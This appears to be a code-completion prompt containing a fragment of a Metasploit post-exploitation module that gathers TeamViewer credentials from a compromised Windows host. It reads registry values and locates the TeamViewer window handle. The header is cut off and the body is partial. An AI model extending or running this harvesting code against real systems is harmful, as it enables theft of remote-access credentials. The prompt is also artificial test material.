You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: teamviewer_passwords.rb
    path of file: ./repos/metasploit-framework/modules/post/windows/gather/credentials
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
# @blurbdust based this code off of https://g
    
  def run
    print_status("Finding TeamViewer Passwords on #{sysinfo['Computer']}")
    app_list

    print_status('<---------------- | Using Window Technique | ---------------->')
    parent_key = 'HKEY_CURRENT_USER\\Software\\TeamViewer'
    language = registry_getvaldata(parent_key, 'SelectedLanguage')
    version = registry_getvaldata(parent_key, 'IntroscreenShownVersion')
    print_status("TeamViewer's language setting options are '#{language}'")
    print_status("TeamViewer's version is '#{version}'")
    hwnd = client.railgun.user32.FindWindowW('#32770', datastore['WINDOW_TITLE'])['return']

    #  Try to get window handle through registry
    if !hwnd
      hwnd = registry_getvaldata(parent_key, 'MainWindowHandle')
    end